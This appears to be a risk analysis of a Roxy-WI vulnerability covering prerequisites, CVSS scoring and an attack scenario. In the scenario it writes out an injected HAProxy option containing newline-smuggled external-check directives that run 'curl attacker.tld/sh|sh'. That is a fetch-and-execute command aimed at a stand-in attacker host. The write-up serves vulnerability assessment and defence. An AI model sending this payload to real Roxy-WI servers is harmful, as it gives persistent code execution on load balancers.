Roxy-WI CVE-2026-45558

Requires an authenticated Roxy-WI account with role ≤ 3 ('user' role) that has access to at least one HAProxy server group, and network reachability to the Roxy-WI API (typically the management web interface). The attacker must target one of the HAProxy section-save endpoints - POST /api/service/haproxy/<server_id>/section/<section_type> or the PUT global/defaults variants - and the managed HAProxy backend must process external-check directives (default behavior). Limiting factors: an unauthenticated attacker cannot exploit this directly (PR:L), and the impact is bounded to load balancers within the compromised user's assigned group rather than the entire fleet. No user interaction is required and no non-default HAProxy configuration is needed on the target load balancer.

The CVSS 9.9 score (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) accurately reflects high real-world risk: network-reachable, low complexity, only a low-privileged role-3 'user' account is required, no user interaction needed, and the scope change captures the pivot from the Roxy-WI app to the underlying load balancer host. EPSS data was not provided and the CVE is not on CISA KEV, so there is no confirmed active exploitation, but the description provides a complete working primitive (option external-check + external-check command /bin/bash -c '…'), which substantially lowers the barrier to weaponization. The most significant aggravator is that the bug is unpatched at time of publication, so organizations exposing Roxy-WI to any semi-trusted user population should treat this as urgent. The main mitigating factor is the PR:L requirement - internet-exposed instances with self-registration or weak credential hygiene face the highest real risk.

An attacker with any role-3 user account (e.g., a low-privilege internal user, a compromised credential, or a tenant on a shared Roxy-WI instance) sends a crafted POST to /api/service/haproxy/<server_id>/section/<section_type> with an option field containing 'external-check\n external-check command /bin/bash -c "curl attacker.tld/sh|sh"'. Roxy-WI renders this verbatim into the HAProxy config via the Ansible template, pushes it to the load balancer, and runs systemctl reload haproxy; the injected shell command then executes as the haproxy user on every health-check tick, giving the attacker persistent code execution on every load balancer in the victim's group. No public exploit is identified at time of analysis, but the advisory description itself contains the working primitive.